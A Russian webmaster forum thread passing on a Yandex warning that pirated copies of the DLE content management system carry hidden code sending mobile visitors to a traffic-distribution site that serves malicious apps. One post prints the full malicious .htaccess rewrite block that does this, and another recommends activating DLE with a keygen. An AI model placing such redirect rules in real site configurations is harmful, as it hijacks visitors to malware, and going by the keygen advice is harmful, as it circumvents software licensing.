[Статья] Яндекс нашел мобильные редиректы, заложенные в CMS DLE

[Kuim]

В блоге Безопасного поиска Яндекса появился новый пост, предупреждающий вебмастеров об опасности. На сей раз речь зашла о мобильных редиректах в дистрибутивах CMS. Яндекс утверждает, что во всех контрафактных дистрибутивах CMS DLE, выложенных на сайте __www.softdle.com, размещён код, который приводит к перенаправлению пользователей на TDS __www.vmaline.net.



Другими словами, веб-ресурсы, работающие на DLE из этого дистрибутива, утрачивают абсолютно все переходы с мобильных устройств. При заходе пользователя на такой сайт с любого мобильного устройства, происходит загрузка вредоносного мобильного приложения. Отмечается, что хитроумная программа даже выбирает тип устройства, с которого зашел пользователь, и скачивает приложение именно для этого типа.

Яндекс предупреждает, что использование контрафактных дистрибутивов CMS может приводить к подобным и еще более серьезным проблемам на сайте, поэтому рекомендует всем вебмастерам регулярно проводить проверку своих веб-ресурсов как с обычных компьютеров, так и с помощью мобильных устройств.
Дополнительная информация о вредоносных мобильных редиректах доступна по ссылке. _http://safesearch.ya.ru/replies.xml?item_no=322

Кто качал от туда будьте осторожны

RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|mmp" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC|Android" [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !iphone [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://___!vmaline.net/tds/go.php?sid=17 [L,R=302]

[apelisin]

хз....а если скачать лицуху CMS ,потом активировать её,потом положить шаблончик и его вычистить предварительно (на форуме есть статейки и даже видео от Серёги!).Это качается версий нулленных!Каждый кто ломает двиг старается всунуть в него что то полезное для себя!
Вывод-качать лицензию и позднее активировать её.Как?Ответ есть так же на этом форуме!
Кто не нашёл как активировать CMS DLE то ссыль ниже

ПРОСТОЙ КЕЙГЕН

[Serberg]

apelisin, я в шаблоне на одном из своих сайтов нашел скрипт редиректа мобильного трафика с полной новости. Причем прошло с момента установки до момента обнаружения 5-6 месяцев. )